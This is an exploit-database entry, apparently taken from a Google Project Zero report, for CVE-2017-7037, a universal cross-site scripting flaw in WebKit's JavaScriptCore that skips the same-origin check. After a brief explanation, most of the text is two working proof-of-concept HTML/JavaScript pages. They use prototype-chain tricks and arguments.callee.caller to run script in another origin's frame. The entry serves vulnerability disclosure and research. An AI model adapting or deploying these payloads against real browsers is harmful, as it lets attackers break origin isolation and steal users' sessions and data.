WebKit JSC - 'JSObject::putInlineSlow' / 'JSValue::putToPrimitive' Universal Cross-Site Scripting

Author: Google Security Research
type: webapps
platform: multiple
port: 
date_added: 2017-07-25 
date_updated: 2017-07-25 
verified: 1 
codes: CVE-2017-7037 
tags: Cross-Site Scripting (XSS)
aliases:  
screenshot_url:  
application_url:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1240

JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.

The PoC shows to call a setter of another origin's object.

PoC 1 - JSValue::putToPrimitive:
-->

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = 1.2;
    a.__proto__.__proto__ = f.contentWindow;

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;

</script>
</body>

<!--
PoC 2 - JSObject::putInlineSlow:
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = {
        __proto__: f.contentWindow
    };

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;
</script>
</body>
-->